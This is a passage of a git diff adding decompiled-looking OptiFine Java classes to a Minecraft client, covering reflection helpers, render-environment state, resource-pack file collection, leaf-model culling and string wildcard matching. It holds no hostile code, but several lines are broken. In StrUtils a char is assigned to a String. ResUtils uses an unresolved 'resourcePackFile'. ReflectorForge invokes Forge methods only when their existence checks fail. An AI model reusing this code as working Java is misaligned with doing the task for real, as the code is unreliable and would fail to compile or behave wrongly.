+  }
+  
+  public ReflectorMethod makeMethod(String name, Class[] paramTypes)
+  {
+    return new ReflectorMethod(this, name, paramTypes);
+  }
+  
+  public ReflectorMethod makeMethod(String name, Class[] paramTypes, boolean lazyResolve)
+  {
+    return new ReflectorMethod(this, name, paramTypes, lazyResolve);
+  }
+}
diff --git a/src/minecraft/optifine/ReflectorConstructor.java b/src/minecraft/optifine/ReflectorConstructor.java
new file mode 100644
index 0000000..9e539d5
--- /dev/null
+++ b/src/minecraft/optifine/ReflectorConstructor.java
@@ -0,0 +1,88 @@
+package optifine;
+
+import java.lang.reflect.Constructor;
+
+public class ReflectorConstructor
+{
+  private ReflectorClass reflectorClass = null;
+  private Class[] parameterTypes = null;
+  private boolean checked = false;
+  private Constructor targetConstructor = null;
+  
+  public ReflectorConstructor(ReflectorClass reflectorClass, Class[] parameterTypes)
+  {
+    this.reflectorClass = reflectorClass;
+    this.parameterTypes = parameterTypes;
+    Constructor c = getTargetConstructor();
+  }
+  
+  public Constructor getTargetConstructor()
+  {
+    if (checked)
+    {
+      return targetConstructor;
+    }
+    
+
+    checked = true;
+    Class cls = reflectorClass.getTargetClass();
+    
+    if (cls == null)
+    {
+      return null;
+    }
+    
+
+    try
+    {
+      targetConstructor = findConstructor(cls, parameterTypes);
+      
+      if (targetConstructor == null)
+      {
+        Config.dbg("(Reflector) Constructor not present: " + cls.getName() + ", params: " + Config.arrayToString(parameterTypes));
+      }
+      
+      if (targetConstructor != null)
+      {
+        targetConstructor.setAccessible(true);
+      }
+    }
+    catch (Throwable var3)
+    {
+      var3.printStackTrace();
+    }
+    
+    return targetConstructor;
+  }
+  
+
+
+  private static Constructor findConstructor(Class cls, Class[] paramTypes)
+  {
+    Constructor[] cs = cls.getDeclaredConstructors();
+    
+    for (int i = 0; i < cs.length; i++)
+    {
+      Constructor c = cs[i];
+      Class[] types = c.getParameterTypes();
+      
+      if (Reflector.matchesTypes(paramTypes, types))
+      {
+        return c;
+      }
+    }
+    
+    return null;
+  }
+  
+  public boolean exists()
+  {
+    return targetConstructor != null;
+  }
+  
+  public void deactivate()
+  {
+    checked = true;
+    targetConstructor = null;
+  }
+}
diff --git a/src/minecraft/optifine/ReflectorField.java b/src/minecraft/optifine/ReflectorField.java
new file mode 100644
index 0000000..a779e15
--- /dev/null
+++ b/src/minecraft/optifine/ReflectorField.java
@@ -0,0 +1,73 @@
+package optifine;
+
+import java.lang.reflect.Field;
+
+public class ReflectorField
+{
+  private ReflectorClass reflectorClass = null;
+  private String targetFieldName = null;
+  private boolean checked = false;
+  private Field targetField = null;
+  
+  public ReflectorField(ReflectorClass reflectorClass, String targetFieldName)
+  {
+    this.reflectorClass = reflectorClass;
+    this.targetFieldName = targetFieldName;
+    Field f = getTargetField();
+  }
+  
+  public Field getTargetField()
+  {
+    if (checked)
+    {
+      return targetField;
+    }
+    
+
+    checked = true;
+    Class cls = reflectorClass.getTargetClass();
+    
+    if (cls == null)
+    {
+      return null;
+    }
+    
+
+    try
+    {
+      targetField = cls.getDeclaredField(targetFieldName);
+      targetField.setAccessible(true);
+    }
+    catch (NoSuchFieldException var3)
+    {
+      Config.log("(Reflector) Field not present: " + cls.getName() + "." + targetFieldName);
+    }
+    catch (SecurityException var4)
+    {
+      var4.printStackTrace();
+    }
+    catch (Throwable var5)
+    {
+      var5.printStackTrace();
+    }
+    
+    return targetField;
+  }
+  
+
+
+  public Object getValue()
+  {
+    return Reflector.getFieldValue(null, this);
+  }
+  
+  public void setValue(Object value)
+  {
+    Reflector.setFieldValue(null, this, value);
+  }
+  
+  public boolean exists()
+  {
+    return targetField != null;
+  }
+}
diff --git a/src/minecraft/optifine/ReflectorForge.java b/src/minecraft/optifine/ReflectorForge.java
new file mode 100644
index 0000000..334fbe4
--- /dev/null
+++ b/src/minecraft/optifine/ReflectorForge.java
@@ -0,0 +1,87 @@
+package optifine;
+
+import java.io.ByteArrayInputStream;
+import java.util.Map;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ResourceLocation;
+
+public class ReflectorForge
+{
+  public ReflectorForge() {}
+  
+  public static void FMLClientHandler_trackBrokenTexture(ResourceLocation loc, String message)
+  {
+    if (!Reflector.FMLClientHandler_trackBrokenTexture.exists())
+    {
+      Object instance = Reflector.call(Reflector.FMLClientHandler_instance, new Object[0]);
+      Reflector.call(instance, Reflector.FMLClientHandler_trackBrokenTexture, new Object[] { loc, message });
+    }
+  }
+  
+  public static void FMLClientHandler_trackMissingTexture(ResourceLocation loc)
+  {
+    if (!Reflector.FMLClientHandler_trackMissingTexture.exists())
+    {
+      Object instance = Reflector.call(Reflector.FMLClientHandler_instance, new Object[0]);
+      Reflector.call(instance, Reflector.FMLClientHandler_trackMissingTexture, new Object[] { loc });
+    }
+  }
+  
+  public static void putLaunchBlackboard(String key, Object value)
+  {
+    Map blackboard = (Map)Reflector.getFieldValue(Reflector.Launch_blackboard);
+    
+    if (blackboard != null)
+    {
+      blackboard.put(key, value);
+    }
+  }
+  
+  public static java.io.InputStream getOptiFineResourceStream(String path)
+  {
+    if (!Reflector.OptiFineClassTransformer_instance.exists())
+    {
+      return null;
+    }
+    
+
+    Object instance = Reflector.getFieldValue(Reflector.OptiFineClassTransformer_instance);
+    
+    if (instance == null)
+    {
+      return null;
+    }
+    
+
+    if (path.startsWith("/"))
+    {
+      path = path.substring(1);
+    }
+    
+    byte[] bytes = (byte[])Reflector.call(instance, Reflector.OptiFineClassTransformer_getOptiFineResource, new Object[] { path });
+    
+    if (bytes == null)
+    {
+      return null;
+    }
+    
+
+    ByteArrayInputStream in = new ByteArrayInputStream(bytes);
+    return in;
+  }
+  
+
+
+
+  public static boolean blockHasTileEntity(IBlockState state)
+  {
+    net.minecraft.block.Block block = state.getBlock();
+    return !Reflector.ForgeBlock_hasTileEntity.exists() ? block.hasTileEntity() : Reflector.callBoolean(block, Reflector.ForgeBlock_hasTileEntity, new Object[] { state });
+  }
+  
+  public static boolean isItemDamaged(ItemStack stack)
+  {
+    return !Reflector.ForgeItem_showDurabilityBar.exists() ? stack.isItemDamaged() : Reflector.callBoolean(stack.getItem(), Reflector.ForgeItem_showDurabilityBar, new Object[] { stack });
+  }
+}
diff --git a/src/minecraft/optifine/ReflectorMethod.java b/src/minecraft/optifine/ReflectorMethod.java
new file mode 100644
index 0000000..caa3833
--- /dev/null
+++ b/src/minecraft/optifine/ReflectorMethod.java
@@ -0,0 +1,125 @@
+package optifine;
+
+import java.lang.reflect.Method;
+
+public class ReflectorMethod
+{
+  private ReflectorClass reflectorClass;
+  private String targetMethodName;
+  private Class[] targetMethodParameterTypes;
+  private boolean checked;
+  private Method targetMethod;
+  
+  public ReflectorMethod(ReflectorClass reflectorClass, String targetMethodName)
+  {
+    this(reflectorClass, targetMethodName, null, false);
+  }
+  
+  public ReflectorMethod(ReflectorClass reflectorClass, String targetMethodName, Class[] targetMethodParameterTypes)
+  {
+    this(reflectorClass, targetMethodName, targetMethodParameterTypes, false);
+  }
+  
+  public ReflectorMethod(ReflectorClass reflectorClass, String targetMethodName, Class[] targetMethodParameterTypes, boolean lazyResolve)
+  {
+    this.reflectorClass = null;
+    this.targetMethodName = null;
+    this.targetMethodParameterTypes = null;
+    checked = false;
+    targetMethod = null;
+    this.reflectorClass = reflectorClass;
+    this.targetMethodName = targetMethodName;
+    this.targetMethodParameterTypes = targetMethodParameterTypes;
+    
+    if (!lazyResolve)
+    {
+      Method localMethod = getTargetMethod();
+    }
+  }
+  
+  public Method getTargetMethod()
+  {
+    if (checked)
+    {
+      return targetMethod;
+    }
+    
+
+    checked = true;
+    Class cls = reflectorClass.getTargetClass();
+    
+    if (cls == null)
+    {
+      return null;
+    }
+    
+
+    try
+    {
+      if (targetMethodParameterTypes == null)
+      {
+        Method[] e = Reflector.getMethods(cls, targetMethodName);
+        
+        if (e.length <= 0)
+        {
+          Config.log("(Reflector) Method not present: " + cls.getName() + "." + targetMethodName);
+          return null;
+        }
+        
+        if (e.length > 1)
+        {
+          Config.warn("(Reflector) More than one method found: " + cls.getName() + "." + targetMethodName);
+          
+          for (int i = 0; i < e.length; i++)
+          {
+            Method m = e[i];
+            Config.warn("(Reflector)  - " + m);
+          }
+          
+          return null;
+        }
+        
+        targetMethod = e[0];
+      }
+      else
+      {
+        targetMethod = Reflector.getMethod(cls, targetMethodName, targetMethodParameterTypes);
+      }
+      
+      if (targetMethod == null)
+      {
+        Config.log("(Reflector) Method not present: " + cls.getName() + "." + targetMethodName);
+        return null;
+      }
+      
+
+      targetMethod.setAccessible(true);
+      return targetMethod;
+
+    }
+    catch (Throwable var5)
+    {
+      var5.printStackTrace(); }
+    return null;
+  }
+  
+
+
+
+  public boolean exists()
+  {
+    return targetMethod != null;
+  }
+  
+  public Class getReturnType()
+  {
+    Method tm = getTargetMethod();
+    return tm == null ? null : tm.getReturnType();
+  }
+  
+  public void deactivate()
+  {
+    checked = true;
+    targetMethod = null;
+  }
+}
diff --git a/src/minecraft/optifine/RenderEnv.java b/src/minecraft/optifine/RenderEnv.java
new file mode 100644
index 0000000..ea0052e
--- /dev/null
+++ b/src/minecraft/optifine/RenderEnv.java
@@ -0,0 +1,187 @@
+package optifine;
+
+import java.util.BitSet;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.BlockStateBase;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.renderer.BlockModelRenderer.AmbientOcclusionFace;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.renderer.block.model.BreakingFour;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+
+public class RenderEnv
+{
+  private IBlockAccess blockAccess;
+  private IBlockState blockState;
+  private BlockPos blockPos;
+  private GameSettings gameSettings;
+  private int blockId = -1;
+  private int metadata = -1;
+  private int breakingAnimation = -1;
+  private float[] quadBounds;
+  private BitSet boundsFlags;
+  private BlockModelRenderer.AmbientOcclusionFace aoFace;
+  private BlockPosM colorizerBlockPosM;
+  private boolean[] borderFlags;
+  private static ThreadLocal threadLocalInstance = new ThreadLocal();
+  
+  private RenderEnv(IBlockAccess blockAccess, IBlockState blockState, BlockPos blockPos)
+  {
+    quadBounds = new float[EnumFacing.VALUES.length * 2];
+    boundsFlags = new BitSet(3);
+    aoFace = new BlockModelRenderer.AmbientOcclusionFace();
+    colorizerBlockPosM = null;
+    borderFlags = null;
+    this.blockAccess = blockAccess;
+    this.blockState = blockState;
+    this.blockPos = blockPos;
+    gameSettings = Config.getGameSettings();
+  }
+  
+  public static RenderEnv getInstance(IBlockAccess blockAccessIn, IBlockState blockStateIn, BlockPos blockPosIn)
+  {
+    RenderEnv re = (RenderEnv)threadLocalInstance.get();
+    
+    if (re == null)
+    {
+      re = new RenderEnv(blockAccessIn, blockStateIn, blockPosIn);
+      threadLocalInstance.set(re);
+      return re;
+    }
+    
+
+    re.reset(blockAccessIn, blockStateIn, blockPosIn);
+    return re;
+  }
+  
+
+  private void reset(IBlockAccess blockAccessIn, IBlockState blockStateIn, BlockPos blockPosIn)
+  {
+    blockAccess = blockAccessIn;
+    blockState = blockStateIn;
+    blockPos = blockPosIn;
+    blockId = -1;
+    metadata = -1;
+    breakingAnimation = -1;
+    boundsFlags.clear();
+  }
+  
+  public int getBlockId()
+  {
+    if (blockId < 0)
+    {
+      if ((blockState instanceof BlockStateBase))
+      {
+        BlockStateBase bsb = (BlockStateBase)blockState;
+        blockId = bsb.getBlockId();
+      }
+      else
+      {
+        blockId = Block.getIdFromBlock(blockState.getBlock());
+      }
+    }
+    
+    return blockId;
+  }
+  
+  public int getMetadata()
+  {
+    if (metadata < 0)
+    {
+      if ((blockState instanceof BlockStateBase))
+      {
+        BlockStateBase bsb = (BlockStateBase)blockState;
+        metadata = bsb.getMetadata();
+      }
+      else
+      {
+        metadata = blockState.getBlock().getMetaFromState(blockState);
+      }
+    }
+    
+    return metadata;
+  }
+  
+  public float[] getQuadBounds()
+  {
+    return quadBounds;
+  }
+  
+  public BitSet getBoundsFlags()
+  {
+    return boundsFlags;
+  }
+  
+  public BlockModelRenderer.AmbientOcclusionFace getAoFace()
+  {
+    return aoFace;
+  }
+  
+  public boolean isBreakingAnimation(List listQuads)
+  {
+    if ((breakingAnimation < 0) && (listQuads.size() > 0))
+    {
+      if ((listQuads.get(0) instanceof BreakingFour))
+      {
+        breakingAnimation = 1;
+      }
+      else
+      {
+        breakingAnimation = 0;
+      }
+    }
+    
+    return breakingAnimation == 1;
+  }
+  
+  public boolean isBreakingAnimation(BakedQuad quad)
+  {
+    if (breakingAnimation < 0)
+    {
+      if ((quad instanceof BreakingFour))
+      {
+        breakingAnimation = 1;
+      }
+      else
+      {
+        breakingAnimation = 0;
+      }
+    }
+    
+    return breakingAnimation == 1;
+  }
+  
+  public boolean isBreakingAnimation()
+  {
+    return breakingAnimation == 1;
+  }
+  
+  public IBlockState getBlockState()
+  {
+    return blockState;
+  }
+  
+  public BlockPosM getColorizerBlockPosM()
+  {
+    if (colorizerBlockPosM == null)
+    {
+      colorizerBlockPosM = new BlockPosM(0, 0, 0);
+    }
+    
+    return colorizerBlockPosM;
+  }
+  
+  public boolean[] getBorderFlags()
+  {
+    if (borderFlags == null)
+    {
+      borderFlags = new boolean[4];
+    }
+    
+    return borderFlags;
+  }
+}
diff --git a/src/minecraft/optifine/RenderInfoLazy.java b/src/minecraft/optifine/RenderInfoLazy.java
new file mode 100644
index 0000000..0aebfe4
--- /dev/null
+++ b/src/minecraft/optifine/RenderInfoLazy.java
@@ -0,0 +1,32 @@
+package optifine;
+
+import net.minecraft.client.renderer.chunk.RenderChunk;
+
+public class RenderInfoLazy
+{
+  private RenderChunk renderChunk;
+  private net.minecraft.client.renderer.RenderGlobal.ContainerLocalRenderInformation renderInfo;
+  
+  public RenderInfoLazy() {}
+  
+  public RenderChunk getRenderChunk()
+  {
+    return renderChunk;
+  }
+  
+  public void setRenderChunk(RenderChunk renderChunk)
+  {
+    this.renderChunk = renderChunk;
+    renderInfo = null;
+  }
+  
+  public net.minecraft.client.renderer.RenderGlobal.ContainerLocalRenderInformation getRenderInfo()
+  {
+    if (renderInfo == null)
+    {
+      renderInfo = new net.minecraft.client.renderer.RenderGlobal.ContainerLocalRenderInformation(renderChunk, null, 0);
+    }
+    
+    return renderInfo;
+  }
+}
diff --git a/src/minecraft/optifine/ResUtils.java b/src/minecraft/optifine/ResUtils.java
new file mode 100644
index 0000000..e7ed34e
--- /dev/null
+++ b/src/minecraft/optifine/ResUtils.java
@@ -0,0 +1,177 @@
+package optifine;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.LinkedHashSet;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+import net.minecraft.client.resources.AbstractResourcePack;
+import net.minecraft.client.resources.IResourcePack;
+import net.minecraft.util.ResourceLocation;
+
+public class ResUtils
+{
+  public ResUtils() {}
+  
+  public static String[] collectFiles(String prefix, String suffix)
+  {
+    return collectFiles(new String[] { prefix }, new String[] { suffix });
+  }
+  
+  public static String[] collectFiles(String[] prefixes, String[] suffixes)
+  {
+    LinkedHashSet setPaths = new LinkedHashSet();
+    IResourcePack[] rps = Config.getResourcePacks();
+    
+    for (int paths = 0; paths < rps.length; paths++)
+    {
+      IResourcePack rp = rps[paths];
+      String[] ps = collectFiles(rp, prefixes, suffixes, null);
+      setPaths.addAll(java.util.Arrays.asList(ps));
+    }
+    
+    String[] var7 = (String[])setPaths.toArray(new String[setPaths.size()]);
+    return var7;
+  }
+  
+  public static String[] collectFiles(IResourcePack rp, String prefix, String suffix, String[] defaultPaths)
+  {
+    return collectFiles(rp, new String[] { prefix }, new String[] { suffix }, defaultPaths);
+  }
+  
+  public static String[] collectFiles(IResourcePack rp, String[] prefixes, String[] suffixes)
+  {
+    return collectFiles(rp, prefixes, suffixes, null);
+  }
+  
+  public static String[] collectFiles(IResourcePack rp, String[] prefixes, String[] suffixes, String[] defaultPaths)
+  {
+    if ((rp instanceof net.minecraft.client.resources.DefaultResourcePack))
+    {
+      return collectFilesFixed(rp, defaultPaths);
+    }
+    if (!(rp instanceof AbstractResourcePack))
+    {
+      return new String[0];
+    }
+    
+
+    AbstractResourcePack arp = (AbstractResourcePack)rp;
+    File tpFile = resourcePackFile;
+    return tpFile.isFile() ? collectFilesZIP(tpFile, prefixes, suffixes) : tpFile.isDirectory() ? collectFilesFolder(tpFile, "", prefixes, suffixes) : tpFile == null ? new String[0] : new String[0];
+  }
+  
+
+  private static String[] collectFilesFixed(IResourcePack rp, String[] paths)
+  {
+    if (paths == null)
+    {
+      return new String[0];
+    }
+    
+
+    ArrayList list = new ArrayList();
+    
+    for (int pathArr = 0; pathArr < paths.length; pathArr++)
+    {
+      String path = paths[pathArr];
+      ResourceLocation loc = new ResourceLocation(path);
+      
+      if (rp.resourceExists(loc))
+      {
+        list.add(path);
+      }
+    }
+    
+    String[] var6 = (String[])list.toArray(new String[list.size()]);
+    return var6;
+  }
+  
+
+  private static String[] collectFilesFolder(File tpFile, String basePath, String[] prefixes, String[] suffixes)
+  {
+    ArrayList list = new ArrayList();
+    String prefixAssets = "assets/minecraft/";
+    File[] files = tpFile.listFiles();
+    
+    if (files == null)
+    {
+      return new String[0];
+    }
+    
+
+    for (int names = 0; names < files.length; names++)
+    {
+      File file = files[names];
+      
+
+      if (file.isFile())
+      {
+        String dirPath = basePath + file.getName();
+        
+        if (dirPath.startsWith(prefixAssets))
+        {
+          dirPath = dirPath.substring(prefixAssets.length());
+          
+          if ((StrUtils.startsWith(dirPath, prefixes)) && (StrUtils.endsWith(dirPath, suffixes)))
+          {
+            list.add(dirPath);
+          }
+        }
+      }
+      else if (file.isDirectory())
+      {
+        String dirPath = basePath + file.getName() + "/";
+        String[] names1 = collectFilesFolder(file, dirPath, prefixes, suffixes);
+        
+        for (int n = 0; n < names1.length; n++)
+        {
+          String name = names1[n];
+          list.add(name);
+        }
+      }
+    }
+    
+    String[] var13 = (String[])list.toArray(new String[list.size()]);
+    return var13;
+  }
+  
+
+  private static String[] collectFilesZIP(File tpFile, String[] prefixes, String[] suffixes)
+  {
+    ArrayList list = new ArrayList();
+    String prefixAssets = "assets/minecraft/";
+    
+    try
+    {
+      ZipFile e = new ZipFile(tpFile);
+      Enumeration en = e.entries();
+      
+      while (en.hasMoreElements())
+      {
+        ZipEntry names = (ZipEntry)en.nextElement();
+        String name = names.getName();
+        
+        if (name.startsWith(prefixAssets))
+        {
+          name = name.substring(prefixAssets.length());
+          
+          if ((StrUtils.startsWith(name, prefixes)) && (StrUtils.endsWith(name, suffixes)))
+          {
+            list.add(name);
+          }
+        }
+      }
+      
+      e.close();
+      return (String[])list.toArray(new String[list.size()]);
+
+    }
+    catch (IOException var9)
+    {
+      var9.printStackTrace(); }
+    return new String[0];
+  }
+}
diff --git a/src/minecraft/optifine/SmartLeaves.java b/src/minecraft/optifine/SmartLeaves.java
new file mode 100644
index 0000000..02abc11
--- /dev/null
+++ b/src/minecraft/optifine/SmartLeaves.java
@@ -0,0 +1,201 @@
+package optifine;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.client.resources.model.ModelManager;
+import net.minecraft.client.resources.model.ModelResourceLocation;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.ResourceLocation;
+
+public class SmartLeaves
+{
+  private static IBakedModel modelLeavesCullAcacia = null;
+  private static IBakedModel modelLeavesCullBirch = null;
+  private static IBakedModel modelLeavesCullDarkOak = null;
+  private static IBakedModel modelLeavesCullJungle = null;
+  private static IBakedModel modelLeavesCullOak = null;
+  private static IBakedModel modelLeavesCullSpruce = null;
+  private static List generalQuadsCullAcacia = null;
+  private static List generalQuadsCullBirch = null;
+  private static List generalQuadsCullDarkOak = null;
+  private static List generalQuadsCullJungle = null;
+  private static List generalQuadsCullOak = null;
+  private static List generalQuadsCullSpruce = null;
+  private static IBakedModel modelLeavesDoubleAcacia = null;
+  private static IBakedModel modelLeavesDoubleBirch = null;
+  private static IBakedModel modelLeavesDoubleDarkOak = null;
+  private static IBakedModel modelLeavesDoubleJungle = null;
+  private static IBakedModel modelLeavesDoubleOak = null;
+  private static IBakedModel modelLeavesDoubleSpruce = null;
+  
+  public SmartLeaves() {}
+  
+  public static IBakedModel getLeavesModel(IBakedModel model) { if (!Config.isTreesSmart())
+    {
+      return model;
+    }
+    
+
+    List generalQuads = model.func_177550_a();
+    return generalQuads == generalQuadsCullSpruce ? modelLeavesDoubleSpruce : generalQuads == generalQuadsCullOak ? modelLeavesDoubleOak : generalQuads == generalQuadsCullJungle ? modelLeavesDoubleJungle : generalQuads == generalQuadsCullDarkOak ? modelLeavesDoubleDarkOak : generalQuads == generalQuadsCullBirch ? modelLeavesDoubleBirch : generalQuads == generalQuadsCullAcacia ? modelLeavesDoubleAcacia : model;
+  }
+  
+
+  public static void updateLeavesModels()
+  {
+    ArrayList updatedTypes = new ArrayList();
+    modelLeavesCullAcacia = getModelCull("acacia", updatedTypes);
+    modelLeavesCullBirch = getModelCull("birch", updatedTypes);
+    modelLeavesCullDarkOak = getModelCull("dark_oak", updatedTypes);
+    modelLeavesCullJungle = getModelCull("jungle", updatedTypes);
+    modelLeavesCullOak = getModelCull("oak", updatedTypes);
+    modelLeavesCullSpruce = getModelCull("spruce", updatedTypes);
+    generalQuadsCullAcacia = getGeneralQuadsSafe(modelLeavesCullAcacia);
+    generalQuadsCullBirch = getGeneralQuadsSafe(modelLeavesCullBirch);
+    generalQuadsCullDarkOak = getGeneralQuadsSafe(modelLeavesCullDarkOak);
+    generalQuadsCullJungle = getGeneralQuadsSafe(modelLeavesCullJungle);
+    generalQuadsCullOak = getGeneralQuadsSafe(modelLeavesCullOak);
+    generalQuadsCullSpruce = getGeneralQuadsSafe(modelLeavesCullSpruce);
+    modelLeavesDoubleAcacia = getModelDoubleFace(modelLeavesCullAcacia);
+    modelLeavesDoubleBirch = getModelDoubleFace(modelLeavesCullBirch);
+    modelLeavesDoubleDarkOak = getModelDoubleFace(modelLeavesCullDarkOak);
+    modelLeavesDoubleJungle = getModelDoubleFace(modelLeavesCullJungle);
+    modelLeavesDoubleOak = getModelDoubleFace(modelLeavesCullOak);
+    modelLeavesDoubleSpruce = getModelDoubleFace(modelLeavesCullSpruce);
+    
+    if (updatedTypes.size() > 0)
+    {
+      Config.dbg("Enable face culling: " + Config.arrayToString(updatedTypes.toArray()));
+    }
+  }
+  
+  private static List getGeneralQuadsSafe(IBakedModel model)
+  {
+    return model == null ? null : model.func_177550_a();
+  }
+  
+  static IBakedModel getModelCull(String type, List updatedTypes)
+  {
+    ModelManager modelManager = Config.getModelManager();
+    
+    if (modelManager == null)
+    {
+      return null;
+    }
+    
+
+    ResourceLocation locState = new ResourceLocation("blockstates/" + type + "_leaves.json");
+    
+    if (Config.getDefiningResourcePack(locState) != Config.getDefaultResourcePack())
+    {
+      return null;
+    }
+    
+
+    ResourceLocation locModel = new ResourceLocation("models/block/" + type + "_leaves.json");
+    
+    if (Config.getDefiningResourcePack(locModel) != Config.getDefaultResourcePack())
+    {
+      return null;
+    }
+    
+
+    ModelResourceLocation mrl = new ModelResourceLocation(type + "_leaves", "normal");
+    IBakedModel model = modelManager.getModel(mrl);
+    
+    if ((model != null) && (model != modelManager.getMissingModel()))
+    {
+      List listGeneral = model.func_177550_a();
+      
+      if (listGeneral.size() == 0)
+      {
+        return model;
+      }
+      if (listGeneral.size() != 6)
+      {
+        return null;
+      }
+      
+
+      Iterator it = listGeneral.iterator();
+      
+      while (it.hasNext())
+      {
+        BakedQuad quad = (BakedQuad)it.next();
+        List listFace = model.func_177551_a(quad.getFace());
+        
+        if (listFace.size() > 0)
+        {
+          return null;
+        }
+        
+        listFace.add(quad);
+      }
+      
+      listGeneral.clear();
+      updatedTypes.add(type + "_leaves");
+      return model;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+  private static IBakedModel getModelDoubleFace(IBakedModel model)
+  {
+    if (model == null)
+    {
+      return null;
+    }
+    if (model.func_177550_a().size() > 0)
+    {
+      Config.warn("SmartLeaves: Model is not cube, general quads: " + model.func_177550_a().size() + ", model: " + model);
+      return model;
+    }
+    
+
+    EnumFacing[] faces = EnumFacing.VALUES;
+    
+    for (int model2 = 0; model2 < faces.length; model2++)
+    {
+      EnumFacing faceQuads = faces[model2];
+      List i = model.func_177551_a(faceQuads);
+      
+      if (i.size() != 1)
+      {
+        Config.warn("SmartLeaves: Model is not cube, side: " + faceQuads + ", quads: " + i.size() + ", model: " + model);
+        return model;
+      }
+    }
+    
+    IBakedModel var12 = ModelUtils.duplicateModel(model);
+    List[] var13 = new List[faces.length];
+    
+    for (int var14 = 0; var14 < faces.length; var14++)
+    {
+      EnumFacing face = faces[var14];
+      List quads = var12.func_177551_a(face);
+      BakedQuad quad = (BakedQuad)quads.get(0);
+      BakedQuad quad2 = new BakedQuad((int[])quad.func_178209_a().clone(), quad.func_178211_c(), quad.getFace(), quad.getSprite());
+      int[] vd = quad2.func_178209_a();
+      int[] vd2 = (int[])vd.clone();
+      int step = vd.length / 4;
+      System.arraycopy(vd, 0 * step, vd2, 3 * step, step);
+      System.arraycopy(vd, 1 * step, vd2, 2 * step, step);
+      System.arraycopy(vd, 2 * step, vd2, 1 * step, step);
+      System.arraycopy(vd, 3 * step, vd2, 0 * step, step);
+      System.arraycopy(vd2, 0, vd, 0, vd2.length);
+      quads.add(quad2);
+    }
+    
+    return var12;
+  }
+}
diff --git a/src/minecraft/optifine/StrUtils.java b/src/minecraft/optifine/StrUtils.java
new file mode 100644
index 0000000..56b4beb
--- /dev/null
+++ b/src/minecraft/optifine/StrUtils.java
@@ -0,0 +1,723 @@
+package optifine;
+
+import java.util.ArrayList;
+
+public class StrUtils
+{
+  public StrUtils() {}
+  
+  public static boolean equalsMask(String str, String mask, char wildChar, char wildCharSingle) {
+    if ((mask != null) && (str != null))
+    {
+      if (mask.indexOf(wildChar) < 0)
+      {
+        return mask.indexOf(wildCharSingle) < 0 ? mask.equals(str) : equalsMaskSingle(str, mask, wildCharSingle);
+      }
+      
+
+      ArrayList tokens = new ArrayList();
+      String wildCharStr = wildChar;
+      
+      if (mask.startsWith(wildCharStr))
+      {
+        tokens.add("");
+      }
+      
+      java.util.StringTokenizer tok = new java.util.StringTokenizer(mask, wildCharStr);
+      
+      while (tok.hasMoreElements())
+      {
+        tokens.add(tok.nextToken());
+      }
+      
+      if (mask.endsWith(wildCharStr))
+      {
+        tokens.add("");
+      }
+      
+      String startTok = (String)tokens.get(0);
+      
+      if (!startsWithMaskSingle(str, startTok, wildCharSingle))
+      {
+        return false;
+      }
+      
+
+      String endTok = (String)tokens.get(tokens.size() - 1);
+      
+      if (!endsWithMaskSingle(str, endTok, wildCharSingle))
+      {
+        return false;
+      }
+      
+
+      int currPos = 0;
+      
+      for (int i = 0; i < tokens.size(); i++)
+      {
+        String token = (String)tokens.get(i);
+        
+        if (token.length() > 0)
+        {
+          int foundPos = indexOfMaskSingle(str, token, currPos, wildCharSingle);
+          
+          if (foundPos < 0)
+          {
+            return false;
+          }
+          
+          currPos = foundPos + token.length();
+        }
+      }
+      
+      return true;
+    }
+    
+
+
+
+
+    return mask == str;
+  }
+  
+
+  private static boolean equalsMaskSingle(String str, String mask, char wildCharSingle)
+  {
+    if ((str != null) && (mask != null))
+    {
+      if (str.length() != mask.length())
+      {
+        return false;
+      }
+      
+
+      for (int i = 0; i < mask.length(); i++)
+      {
+        char maskChar = mask.charAt(i);
+        
+        if ((maskChar != wildCharSingle) && (str.charAt(i) != maskChar))
+        {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+
+    return str == mask;
+  }
+  
+
+  private static int indexOfMaskSingle(String str, String mask, int startPos, char wildCharSingle)
+  {
+    if ((str != null) && (mask != null))
+    {
+      if ((startPos >= 0) && (startPos <= str.length()))
+      {
+        if (str.length() < startPos + mask.length())
+        {
+          return -1;
+        }
+        
+
+        for (int i = startPos; i + mask.length() <= str.length(); i++)
+        {
+          String subStr = str.substring(i, i + mask.length());
+          
+          if (equalsMaskSingle(subStr, mask, wildCharSingle))
+          {
+            return i;
+          }
+        }
+        
+        return -1;
+      }
+      
+
+
+      return -1;
+    }
+    
+
+
+    return -1;
+  }
+  
+
+  private static boolean endsWithMaskSingle(String str, String mask, char wildCharSingle)
+  {
+    if ((str != null) && (mask != null))
+    {
+      if (str.length() < mask.length())
+      {
+        return false;
+      }
+      
+
+      String subStr = str.substring(str.length() - mask.length(), str.length());
+      return equalsMaskSingle(subStr, mask, wildCharSingle);
+    }
+    
+
+
+    return str == mask;
+  }
+  
+
+  private static boolean startsWithMaskSingle(String str, String mask, char wildCharSingle)
+  {
+    if ((str != null) && (mask != null))
+    {
+      if (str.length() < mask.length())
+      {
+        return false;
+      }
+      
+
+      String subStr = str.substring(0, mask.length());
+      return equalsMaskSingle(subStr, mask, wildCharSingle);
+    }
+    
+
+
+    return str == mask;
+  }
+  
+
+  public static boolean equalsMask(String str, String[] masks, char wildChar)
+  {
+    for (int i = 0; i < masks.length; i++)
+    {
+      String mask = masks[i];
+      
+      if (equalsMask(str, mask, wildChar))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  public static boolean equalsMask(String str, String mask, char wildChar)
+  {
+    if ((mask != null) && (str != null))
+    {
+      if (mask.indexOf(wildChar) < 0)
+      {
+        return mask.equals(str);
+      }
+      
+
+      ArrayList tokens = new ArrayList();
+      String wildCharStr = wildChar;
+      
